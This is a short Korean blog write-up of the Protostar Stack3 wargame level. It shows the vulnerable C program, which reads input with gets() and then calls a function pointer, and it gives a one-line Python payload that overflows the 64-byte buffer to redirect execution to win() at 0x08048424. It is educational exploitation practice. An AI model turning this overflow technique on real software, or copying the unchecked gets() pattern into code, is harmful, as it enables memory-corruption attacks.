반응형
[Protostar] Stack3
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
1. 이번에는 함수가 main()함수와 win()함수 2개이고, win()함수가 실행되어야 문제풀이에 성공한다.
2. 변수를 보면 *fp 포인터가 선언
3. gets(buffer); 로 길이값 검증을 하지 않고 입력값을 받음
👉 buffer overflow 발생
4. if 안에서 포인터를 실행한다.
👉 bof로 fp 포인터의 주소를 win 주소로 바꾸면 될거 같다!
그러면 gdb로 main함수를 확인한다.
win 함수 주소 : 0x08048424이다.
📌 stack 구조 :
📌 최종 페이로드 :
(python -c 'print "A" *64+"\x24\x84\x04\x08"') | ./stack3
📌 실행 결과 :
반응형